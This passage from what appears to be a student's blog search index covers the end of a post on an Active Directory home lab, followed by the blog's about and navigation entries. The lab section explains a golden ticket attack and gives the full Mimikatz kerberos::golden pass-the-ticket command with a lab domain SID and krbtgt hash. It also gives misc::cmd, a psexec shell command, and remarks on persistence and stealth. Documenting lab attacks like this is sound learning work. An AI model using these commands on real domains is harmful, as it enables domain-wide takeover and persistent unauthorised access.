escalation, or persistence within a network.\nAttempt at trying to dump SAM :\nDumping LSA : Usernames and NTLM hashes\nGolden ticket attack + pass the ticket:\nA golden ticket attack is a post-exploitation technique where an attacker forges a Kerberos Ticket Granting Ticket (TGT) using the secret key of the krbtgt account, which is the account that signs all TGTs in a domain.\nOnce the attacker compromises a domain controller and extracts the krbtgt account’s NTLM hash, they can use tools like Mimikatz to generate golden tickets that allow them to impersonate any user, including domain admins, and access any service in the domain.\nThese tickets can be customized to never expire or be reissued, giving the attacker long-term and stealthy persistence in the environment even if passwords are reset for other accounts, since the only true fix is to reset the krbtgt password twice across the domain to invalidate forged tickets.\nExecuting this command :\nWe have to write some info down :\nS-1-5-21-833969855-242020450-2509043900 : Domain SID\n4ecf7518f730dfc45fcad7fc679f53fa : NTLM hash of kerberos TGT account\nAnd using this command : kerberos::golden /User:Administrator /domain:homelab.local /sid:S-1-5-21-833969855-242020450-2509043900 /krbtgt:4ecf7518f730dfc45fcad7fc679f53fa /id:500 /ptt\nThat command tells Mimikatz to forge and immediately inject (/ptt : pass the ticket) a golden ticket for the Administrator in the domain. It uses the domain’s SID and the NTLM hash of the krbtgt account to sign the ticket. The /id:500 specifies the RID for the Administrator account, ensuring the forged ticket has the correct identity.\nIn short, this command creates a valid-looking Kerberos TGT for the domain Administrator and loads it into memory so the attacker can act as that account.\nFollowing that with misc::cmd spawns a new command shell that inherits this authentication context. The result is that the new cmd.exe can immediately access domain resources like file shares, servers, or even remote administration tools using the forged Administrator ticket, effectively giving you a working shell as a domain admin without needing the real password.\nWe can access any share we want on the network, like in the screenshot below where we accessed the C$ share of CLIENT-WIN10 :\nWe can also use the windows tool of psexec to get direct access to the machine via the command : psexec.exe \\\\client-win10 cmd.exe popping a shell\nUse this golden ticket for persistence (adding user\u0026hellip;), silver ticket to be stealthier\u0026hellip;\nNext steps # ","date":"August 30, 2025","externalUrl":null,"permalink":"/blog/posts/ad_lab/","section":"Blog Posts","summary":"","title":"My Active Directory Home Lab","type":"posts"},{"content":" Whoami # Hello, I\u0026rsquo;m Younes, a Cybersecurity and Cloud Engineering student based in Casablanca, Morocco.\nPurpose # This blog documents my technical progression as I refine my specialization.\nIt serves as a platform for documenting and showcasing my projects as well as sharing insights gained during my transition from a student to an engineer.\n","externalUrl":null,"permalink":"/blog/about/","section":"Home","summary":"","title":"About Me","type":"page"},{"content":"","externalUrl":null,"permalink":"/blog/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/blog/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"Work in progress \u0026hellip;\n","externalUrl":null,"permalink":"/blog/certifications/","section":"Certifications","summary":"","title":"Certifications","type":"certifications"},{"content":"","externalUrl":null,"permalink":"/blog/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":"","externalUrl":null,"permalink":"/blog/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"}]